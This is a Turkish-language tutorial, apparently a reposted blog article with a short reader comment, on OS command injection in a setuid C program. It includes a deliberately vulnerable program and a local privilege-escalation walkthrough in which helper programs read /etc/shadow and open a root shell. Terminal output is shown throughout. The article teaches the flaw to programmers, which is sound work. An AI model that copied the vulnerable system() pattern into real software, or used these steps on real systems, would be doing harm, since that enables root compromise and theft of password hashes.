Author: Hellcode Research
Hits: 327
date: 2010-01-27
Comments:---[ OS Command Injection Vulnerabilities [23/03/2005] ---[ murderkey <murderkey[n0_sp4m]gmail[zot]com ---[ Hellcode Research Lab | The Computer Cheats ---[ http://tcc.hellcode.net | hellcode.net Geçtiðimiz günlerde, Amerikan Ulusal Güvenlik Teþkilatý (NSA) çeþitli güvenlik firmalarýyla ortaklaþa yaptýðý bir araþtýrmanýn istatistiksel sonuçlarýný duyurdu. Araþtýrmada programcýlardan kaynaklanan en tehlikeli 25 hata yer aldý. "Ýþletim Sistemleri Komut Enjeksiyonu" zayýflýðý bu listenin 5. sýrasýnda ve risk seviyesi yüksek olarak iþaretlenmiþ. Bu yazýda, söz konusu zayýflýðýn nasýl oluþtuðu ve engellenmesi için neler yapýlmasý gerektiði anlatýlacaktýr. Nedir ve Nasýl Çalýþýr ? Zaman zaman yazýlýmlarda, çeþitli fonksiyonlarý yerine getirmek için harici bir yazýlým (komut/modül) çaðýrmak gerekebiliyor.Örnek olarak Linux, Solaris, BSD, Plan9 gibi sistemler üzerinde ki watch, time vb. komutlar verilebilir.Söz konusu hatanýn kurbaný olmak, hemen her programlama dilinde (JAVA,Assembly, C/C++ vb...) ve hemen her iþletim sisteminde mümkün ve bu zayýflýk sayesinde lokal bir kullanýcý, yetkisini en üst düzeye yükseltebilir veya komutlar çalýþtýrabilir. Öncelikle senaryo þu olsun, yazdýðýnýz bir yazýlým "root" yetkisiyle sisteme kurulmuþ, ve yazdýðýnýz yazýlýmýn çeþitli fonksiyonlarý yerine getiren alt yazýlýmlarý/moduler var ana programýnýzda Linux'ta hazýr bulunan ve belirtilen yazýlýmýn iþlem hýzýný gösteren "time" komutunu kullanarak ana programýnýzdan alt programlarýn iþlem hýzýný göstermek istiyorsunuz.Aþaðýda ki, söz konusu zayýflýðý barýndýran kodu bunu yapan kod parçasý olarak düþünün. #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char *argv[]) { char komut[256]; if(argc<2) { printf("Hata: islem hizini ogrenmek istediginiz programi girin!\n"); } memset(&komut,0,sizeof(komut)); strcat(komut, "time ./"); strcat(komut,argv[1]); system(komut); return 0; } Hatayý barýndýran kodumuzu derliyoruz ve programýmýzýn haklarýný deðiþtiriyoruz, senaryomuza göre, varsayalým ki programýmýz "root" haklarýyla yani en üst düzey kullanýcý haklarýyla çalýþýyor. murderkey@labs:~$ cc vuln.c -o vuln root@lab:~# chown root.root vuln root@lab:~# chmod +s vuln root@lab:~# exit murderkey@labs:~$ Yukarda ne yaptýk? Öncelikle programýmýzý derledik hemen ardýndan kullanýcý sahibini deðiþtirdik ve onun ardýndan da "+s" parametresi ile program calýþtýðý sürece calýþanýn o haklara sahip olmasýný saðladýk. Devam edelim ve programýmýzý çalýþtýralým, bakalým istediðimiz gerçekleþiyor mu? Ondan önce, ben ekrana basitçe "Merhaba Dünya" mesajini basan bir kod yazdým ve derledim amacim bu programýn iþlem hýzýný ögrenmek. murderkey@lab:~$ ./vuln helloworld Merhaba dunya real 0m0.002s user 0m0.000s sys 0m0.000s murderkey@lab:~$ Bir programcý klasiði olan merhaba dünya adlý ufak bir yazýlým yazdýk ve vuln adlý yazýlýmýmýzý hatýrlýyorsanýz parametre olarak girilen yazýlýmlarýn çalýþma hýzýný gösteriyordu, bizde parametre olarak Merhaba Dünya yazan programýmýzýn çalýþma hýzýný öðrenmek istedik.Buraya kadar yazýlýmýmýz sorunsuz çalýþtý görünürde hiçbirþey yok. Kodumuz bu haliyle gayet masum görünüyor fakat programa verilen girdilerde daha farklý davranan bir kullanýcý, programýnda farklý davranmasýna sebep olacaktýr. Biz burada helloworld adlý kod yerine baþka birþey calýþtýrsak ne olurdu? Örneðin, cat /etc/shadow adlý komutu çalýþtýran veya bize yeni bir shell (kabuk) açan ufak bir kod yazsak ne olur ? Görmek için devam edelim ve C dilinde belirtilen komutlarý iþleyen bir kod yazalým. main(void) { system("cat /etc/shadow"); return 0; } murderkey@lab:~$ cc exp1.c -o exp1 murderkey@lab:~$ ./vuln exp1 ... sync:*:14062:0:99999:7::: games:*:14062:0:99999:7::: man:*:14062:0:99999:7::: lp:*:14062:0:99999:7::: mail:*:14062:0:99999:7::: news:*:14062:0:99999:7::: uucp:*:14062:0:99999:7::: ... real 0m0.003s user 0m0.000s sys 0m0.000s murderkey@lab:~$ Aklýmýza gelen fikir kusursuz iþe yaradý. Normal þartlar altýnda sistemde ki kullanýcýlarýn (user) kullandýðý þifreleri ancak "root" yetkisine sahipseniz görebilirsiniz (istisnalar hariç tabii) ama hatýrlayýn zayýflýða sahip programýmýz üzerinden bir kod çalýþtýrdýk ve zayýflýða sahip yazýlým root yetkileriyle çalýþýyor bundan dolayý normal kullanýcý yetkilerine sahip bir kodu root yetkisiyle çalýþtýrmayý baþardýk. Þimdi biraz daha ileri gidelim ve root yetkilerine sahip bir shell açmaya çalýþarak sistemde ki eriþim seviyemizi en üst düzeye çekmeye çalýþalým, ayný þekilde "cat /etc/shadow" komutunu çalýþtýran kodumuzun tek satýrýný deðiþtirerek derliyoruz. main(void) { system("/bin/sh"); return 0; } murderkey@lab:~$ cc exp2.c -o exp2 murderkey@lab:~$ ./vuln exp2 real 0m0.002 user 0m0.000 sys 0m0.000 root@lab:~# id uid=0(root) gid=0(root) groups=0(root) Sonuç: Görüldüðü gibi tek satýrý deðiþtirerek programýmýzdaki zayýflýk sayesinde sistemde en üst düzey kullanýcý yetkisi yani "root" yetkisine ulaþtýk.Sanýrým NSA yaptýðý araþtýrmada sistemlere zarar veren en tehlikeli 25 açýk arasýnda 5. sýraya yazýmýzýn konusu olan Komut Enjeksiyonu hatasýný koymakla hata yapmamýþ.Çok basit ve gözden kaçmasý kolay olan fakat risk seviyesi oldukça yüksek bir hata, çeþitli filtrelemelerle veya kullanýcý haklarýnýn iyi ayarlanmasý (gerekli fonksiyolar kullanilarak) söz konusu sorun basitçe aþýlabilir.Benim amacým, bu yazýda durumun ciddiyetini programcýlara göstermek fakat talebe baðlý olarak çeþitli yazýlým açýklarýnýn (Buffer Overflow, Format String vs) nasýl engellenebileceðine dair ufak bir yazý yazýlabilir. Umarým bu yazý konunun ciddiyeti hakkýnda kafanýzda bir þeylerin oluþmasýna yardýmcý olmuþtur.Yazýda herhangi bir hata veya atladýðým nokta olduðunu düþünüyorsanýz iletiþime geçerek yardýmcý olabilirsiniz ve tabii bunun için üzgünüm. Referans: [1] CWE/SANS TOP 25 Most Dangerous Programming Errors http://www.sans.org/top25errors [2] Phrack #59: Runtime Process infection http://www.phrack.org/issues.html?issue=59&id=8#article [3] Least Privilege http://www.hellcode.net/ppe.txt [4] FreeBSD Telnet Daemon Zero-Day (Yazýnýn yazýlmasýndan bir gün sonra) http://blog.lifeoverip.net/2009/02/15/f
------------------------------
lyonn on 2010-02-07
This Not work in Debian Linux filemona 2.6.26-2-amd64 #1 SMP Tue Jan 12 22:12:20 UTC 2010 x86_64 GNU/Linux
Greetings
